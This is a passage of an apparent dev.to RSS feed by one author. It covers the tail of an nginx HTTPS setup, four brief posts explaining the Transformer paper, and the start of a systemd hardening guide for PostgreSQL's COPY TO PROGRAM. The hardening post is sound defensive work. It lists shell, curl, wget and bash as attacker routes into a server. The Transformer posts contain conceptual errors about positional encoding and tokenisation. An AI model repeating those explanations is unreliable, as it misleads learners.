    &lt;span class="n"&gt;ssl_certificate_key&lt;/span&gt; /&lt;span class="n"&gt;etc&lt;/span&gt;/&lt;span class="n"&gt;letsencrypt&lt;/span&gt;/&lt;span class="n"&gt;live&lt;/span&gt;/&lt;span class="n"&gt;example&lt;/span&gt;.&lt;span class="n"&gt;com&lt;/span&gt;/&lt;span class="n"&gt;privkey&lt;/span&gt;.&lt;span class="n"&gt;pem&lt;/span&gt;;

    &lt;span class="c"&gt;# All requests — public, no auth
&lt;/span&gt;    &lt;span class="n"&gt;location&lt;/span&gt; / {
        &lt;span class="n"&gt;proxy_pass&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;://&lt;span class="n"&gt;localhost&lt;/span&gt;:&lt;span class="m"&gt;8090&lt;/span&gt;;
        &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="n"&gt;Host&lt;/span&gt; $&lt;span class="n"&gt;host&lt;/span&gt;;
        &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="n"&gt;X&lt;/span&gt;-&lt;span class="n"&gt;Real&lt;/span&gt;-&lt;span class="n"&gt;IP&lt;/span&gt; $&lt;span class="n"&gt;remote_addr&lt;/span&gt;;
        &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="n"&gt;X&lt;/span&gt;-&lt;span class="n"&gt;Forwarded&lt;/span&gt;-&lt;span class="n"&gt;For&lt;/span&gt; $&lt;span class="n"&gt;proxy_add_x_forwarded_for&lt;/span&gt;;
        &lt;span class="n"&gt;proxy_set_header&lt;/span&gt; &lt;span class="n"&gt;X&lt;/span&gt;-&lt;span class="n"&gt;Forwarded&lt;/span&gt;-&lt;span class="n"&gt;Proto&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Add to symlink to sites enabled&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo ln&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /etc/nginx/sites-available/example.com /etc/nginx/sites-enabled/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restarting nginx&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nginx &lt;span class="nt"&gt;-t&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl reload nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We could get https for our domain name example.com.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
      <category>devops</category>
      <category>security</category>
      <category>tutorial</category>
      <category>webdev</category>
    </item>
    <item>
      <title>Attention Is All You Need - Part 4</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Fri, 01 May 2026 12:57:39 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-4-i21</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-4-i21</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In a previous article, I explained about the embedding and preprocessing of input.&lt;/p&gt;

&lt;p&gt;In this article we will discuss step 2 of the transformer model, i.e. position encoding.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Positional Encoding?
&lt;/h2&gt;

&lt;p&gt;Positional encoding is a technique used to encode the position of a word in a sentence. It is used to overcome the limitation of the transformer model that it cannot process the input in parallel.&lt;/p&gt;

&lt;p&gt;Basically whenever the input text is given to the transformer model.&lt;/p&gt;

&lt;p&gt;say&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The Lion attacked Deer.
The Deer attacked Lion.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The token generated almost like this&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;791, 33199, 18855, 64191, 627, 791, 64191, 18855, 33199, 13
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The meaning is different but the token created same.&lt;/p&gt;

&lt;p&gt;Which will effect vector embeddings&lt;/p&gt;

&lt;h2&gt;
  
  
  How Positional Encoding Will Solve?
&lt;/h2&gt;

&lt;p&gt;So, basically tokens of "Lion" and "attacked" will be same in both the sentences.&lt;/p&gt;

&lt;p&gt;This will lead to the loss of position information. To overcome this, positional encoding is used.&lt;/p&gt;

&lt;p&gt;We use position encoding for encoding position of words. We assign a vector to each position.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyqvz4ryug3kh95nwdvtm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyqvz4ryug3kh95nwdvtm.png" alt=" " width="800" height="393"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;To get rid of this problem we use positional encoding.  &lt;/p&gt;

&lt;p&gt;This is the formula for positional encoding:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j3kwptjazzh2addv3tt.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j3kwptjazzh2addv3tt.png" alt=" " width="800" height="170"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this next step, we will get the positional information for each word correctly without losing any information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq904hmglqj2rdfxw6421.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq904hmglqj2rdfxw6421.png" alt=" " width="800" height="767"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we completed step 2 of the transformer model.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We found out text that has different meanings has the same tokens and loses information of the position of the word in the sentence.&lt;br&gt;&lt;br&gt;
To overcome this, we use positional encoding. &lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
      <category>deeplearning</category>
      <category>machinelearning</category>
      <category>nlp</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Attention Is All You Need - Part 3</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Thu, 30 Apr 2026 12:49:25 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-3-28f4</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-3-28f4</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In a previous article, we discussed the limitations of RNNs and how they were not able to capture long range dependencies and process input in parallel.&lt;/p&gt;

&lt;h2&gt;
  
  
  How are words converted to numerical value?
&lt;/h2&gt;

&lt;p&gt;Each long text is encoded into a numerical value called a token.&lt;/p&gt;

&lt;p&gt;These tokens are totally dependent on the embeddings.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;"Hey, How are you?"&lt;/p&gt;

&lt;p&gt;This will be split into tokens with 6 tokens.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmic61llsmu3bpoxz9wvx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmic61llsmu3bpoxz9wvx.png" alt=" " width="800" height="510"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Those token are &lt;code&gt;2, 6750, 235269, 2250, 708, 692&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Once the word is tokenized.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vector Embedding
&lt;/h2&gt;

&lt;p&gt;These tokenized numerical values will be embedded into vectors. Or we can say a matrix of real numbers.&lt;/p&gt;

&lt;p&gt;For example: &lt;/p&gt;

&lt;p&gt;cat -&amp;gt; "Milk"&lt;br&gt;
dog -&amp;gt; "Bone"&lt;/p&gt;

&lt;p&gt;so, if we get distace between cat and dog as vector&lt;/p&gt;

&lt;p&gt;We can relate to each other and get other information.&lt;br&gt;
In the image, we mapped the cat and dog and then followed with related embedding vectors to the food that the cat likes.&lt;/p&gt;

&lt;p&gt;By the same distance between dog and cat, we can find the dog's favorite food.&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2y2e6ioo9wec2a4r6vnd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2y2e6ioo9wec2a4r6vnd.png" alt=" " width="800" height="845"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This process is part of input preprocessing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjetvk0b4rtyuwzsbt235.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjetvk0b4rtyuwzsbt235.png" alt=" " width="800" height="1201"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;We got to know how input is converted to vectors and then completed the first stage of the transformer model.&lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Attention Is All You Need - Part 2</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Tue, 28 Apr 2026 12:59:35 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-2-3g0l</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-2-3g0l</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article we discussed about the limitations of RNNs and how they were not able to capture long range dependencies and process input in parallel.&lt;/p&gt;

&lt;h2&gt;
  
  
  How was Translation done earlier?
&lt;/h2&gt;

&lt;p&gt;There are many way the translation work but in earlier days it was done using seq2seq models.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;p&gt;Translation: "The cat sat on the mat" -&amp;gt; "Le chat s'est assis sur le tapis"&lt;/p&gt;

&lt;p&gt;This translation was done using RNNs.&lt;/p&gt;

&lt;p&gt;Let's see how this was done.&lt;/p&gt;

&lt;p&gt;Input : Many words&lt;br&gt;
Output : Many words&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq0yu25m7r775hek361h1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq0yu25m7r775hek361h1.png" alt=" " width="800" height="210"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This had major flaws if the input seqeuence length was long the output was very poor.&lt;/p&gt;

&lt;p&gt;so, this made the accuracy of the model very poor for long sentences.&lt;/p&gt;

&lt;p&gt;If context is very load and it had accuracy issues then decoder might get confused and couldn't predict the correct output.&lt;/p&gt;

&lt;h2&gt;
  
  
  How Long sentence problem was solved?
&lt;/h2&gt;

&lt;p&gt;We had to provide additional context to decoder in order to over come this issues.&lt;/p&gt;

&lt;p&gt;That's when attention mechanism comes into picture.&lt;/p&gt;

&lt;p&gt;This was another improvement over the seq2seq models.&lt;/p&gt;

&lt;p&gt;We add context vector to decoder which help them to have full context vector about the input sequence.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next?
&lt;/h2&gt;

&lt;p&gt;In this article we discussed how the translation was done earlier and how it was improved with the attention mechanism.&lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Attention Is All You Need - Part 1</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Sun, 26 Apr 2026 20:00:37 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-1-52il</link>
      <guid>https://dev.to/ganesh-kumar/attention-is-all-you-need-part-1-52il</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;I will going to discuss about the paper &lt;strong&gt;"Attention Is All You Need"&lt;/strong&gt;  which introduced the Transformer architecture in 2017 and it has become one of the most important models in the field of NLP.&lt;/p&gt;

&lt;p&gt;This paper was published in 2017 by Google researchers.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Background?
&lt;/h2&gt;

&lt;p&gt;The Goal of Machine Learning is to learn mapping from input to output.&lt;/p&gt;

&lt;p&gt;For example:&lt;br&gt;
Predicting house price based on sqft was based on bedrooms, bathrooms, locality, etc&lt;/p&gt;

&lt;p&gt;In email spam detection, the input is email text and the output is spam or not spam.&lt;/p&gt;

&lt;p&gt;This were mapped through neural networks.&lt;/p&gt;

&lt;p&gt;Neural networks is sequence of layers each transforming an input to output of previous layer.&lt;/p&gt;

&lt;p&gt;But this had a major limitation that it was not able to capture the long range dependencies in the input.&lt;/p&gt;

&lt;h2&gt;
  
  
  What problem they solved?
&lt;/h2&gt;

&lt;p&gt;The earlier models were based on Recurrent Neural Networks (RNNs) processed one token per time step.&lt;/p&gt;

&lt;p&gt;Which mainly had two problems:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It was not able to capture the long range dependencies in the input.&lt;/li&gt;
&lt;li&gt;It was not able to process the input in parallel. As it was only depended on sequential information.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  How this was solved?
&lt;/h2&gt;

&lt;p&gt;Transformer architecture was introduced to solve this problem.&lt;/p&gt;

&lt;p&gt;It is based on attention mechanism.&lt;/p&gt;

&lt;p&gt;Which allows the model to focus on the most relevant parts of the input sequence.&lt;/p&gt;

&lt;p&gt;This is simple explaination for now I will conclude and wrap it up for this article.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, we discussed the background of the Attention Is All You Need paper and the problem it solved.&lt;/p&gt;

&lt;p&gt;In the next article, we will discuss the Transformer architecture in detail with an example.&lt;/p&gt;

&lt;p&gt;Reference: &lt;a href="https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf" rel="noopener noreferrer"&gt;https://proceedings.neurips.cc/paper_files/paper/2017/file/3f5ee243547dee91fbd053c1c4a845aa-Paper.pdf&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fabn6nl3iehrohehnxgje.png" alt="git-lrc" width="800" height="373"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Any feedback or contributors are welcome! It’s online, source-available, and ready for anyone to use. &lt;br&gt;
⭐ Star it on GitHub: &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;https://github.com/HexmosTech/git-lrc&lt;/a&gt;&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Understanding Systemd.exec—Part 3: Disabling the COPY TO PROGRAM feature in Postgres.</title>
      <dc:creator>Ganesh Kumar</dc:creator>
      <pubDate>Fri, 24 Apr 2026 20:28:26 +0000</pubDate>
      <link>https://dev.to/ganesh-kumar/understanding-systemdexec-part-3-disabling-the-copy-to-program-feature-in-postgres-o7c</link>
      <guid>https://dev.to/ganesh-kumar/understanding-systemdexec-part-3-disabling-the-copy-to-program-feature-in-postgres-o7c</guid>
      <description>&lt;p&gt;Hello, I'm Ganesh. I'm building &lt;em&gt;git-lrc&lt;/em&gt;, an AI code reviewer that runs on every commit. It is free, unlimited, and source-available on Github. &lt;a href="https://github.com/HexmosTech/git-lrc" rel="noopener noreferrer"&gt;Star Us&lt;/a&gt; to help devs discover the project. Do give it a try and share your feedback for improving the product.&lt;/p&gt;

&lt;p&gt;In previous article we discussed how this feature may be attacker entry point to server.&lt;/p&gt;

&lt;p&gt;So, now let's implment custom systemd configuration to disable this feature.&lt;/p&gt;

&lt;h2&gt;
  
  
  Securing Postgres with systemd.exec options
&lt;/h2&gt;

&lt;p&gt;I found only way for now to disable this feature is to create custom systemd configuration.&lt;/p&gt;

&lt;p&gt;Let's identify the postgres version.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gk@jarvis:~&lt;span class="nv"&gt;$ &lt;/span&gt;psql &lt;span class="nt"&gt;--version&lt;/span&gt;
psql &lt;span class="o"&gt;(&lt;/span&gt;PostgreSQL&lt;span class="o"&gt;)&lt;/span&gt; 16.13 &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu 16.13-0ubuntu0.24.04.1&lt;span class="o"&gt;)&lt;/span&gt;
gk@jarvis:~&lt;span class="nv"&gt;$ &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Based on postgress version we can use different postgresctl command.&lt;/p&gt;

&lt;p&gt;We can add custom systemd configuration for each postgres version.&lt;/p&gt;

&lt;p&gt;So, How attacker mostly use copy function to get inside the server?&lt;/p&gt;

&lt;p&gt;Here, how simple funtion can be used to get inside the server.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;using shell&lt;/li&gt;
&lt;li&gt;using curl&lt;/li&gt;
&lt;li&gt;using wget&lt;/li&gt;
&lt;li&gt;using bash&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Still goes on Many ways you can use copy function to get inside the server.&lt;/p&gt;

&lt;p&gt;Based on my analysis and continuous retry on disable feature on by one.&lt;br&gt;
I got working configureation  which will disconnect from postgres access.&lt;/p&gt;
&lt;h2&gt;
  
  
  Available options In systemd.exec For postgres
&lt;/h2&gt;

&lt;p&gt;Let's analyze these options and try to disable them using systemd.exec options.&lt;/p&gt;

&lt;p&gt;we can use&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;TemporaryFileSystem&lt;br&gt;
This will create read only filesystem for specific directory.&lt;br&gt;
We can make sure they don't have direct access to system utilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;BindReadOnlyPaths&lt;br&gt;
Re-expose only what's needed by postgres. Example postgres binaries, libraries etc.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectSystem&lt;br&gt;
Block /usr, /boot, /etc from write access&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectHome&lt;br&gt;
This will block access to /home directory.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;PrivateTmp&lt;br&gt;
This will create temporary /tmp and /var/tmp directories for the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ReadWritePaths&lt;br&gt;
This is main thing as we disabled all the feature postgress data should be writable to some directory. Which can be:&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;/var/lib/postgresql&lt;/li&gt;
&lt;li&gt;/var/run/postgresql&lt;/li&gt;
&lt;li&gt;/var/log/postgresql&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Just have a look based on your version.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;NoNewPrivileges&lt;br&gt;
If a service process tries to gain more privileges, the kernel will deny it.&lt;br&gt;
This can prevent attackers from escalating privileges even if they compromise the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RestrictNamespaces&lt;br&gt;
This option can be used to restrict the namespaces that a service can access.&lt;br&gt;
This is mainly for if they try to break out from the container/VM. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RestrictAddressFamilies&lt;br&gt;
This option can be used to restrict the address families that a service can access.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectKernelTunables&lt;br&gt;
This option can be used to prevent a service from modifying kernel tunables.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectKernelModules&lt;br&gt;
This option can be used to prevent a service from loading kernel modules.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectControlGroups&lt;br&gt;
This will prevent the service from accessing the cgroups of other processes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;ProtectProc&lt;br&gt;
This will prevent the service from accessing the process information of other processes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;UMask&lt;br&gt;
This will set the umask of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CapabilityBoundingSet&lt;br&gt;
This will set the capability bounding set of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;AmbientCapabilities&lt;br&gt;
This will set the ambient capabilities of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SystemCallFilter&lt;br&gt;
This will set the system call filter of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SystemCallErrorNumber&lt;br&gt;
This will set the system call error number of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MemoryDenyWriteExecute&lt;br&gt;
This will set the memory deny write execute of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;LockPersonality&lt;br&gt;
This will lock the personality of the service.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;RestrictSUIDSGID&lt;br&gt;
This will prevent the service from using SUID and SGID bits.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  Configuring Systemd for postgres
&lt;/h2&gt;

&lt;p&gt;So, Now let's create custom configuration for postgres.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /etc/systemd/system/postgresql@16-main.service.d
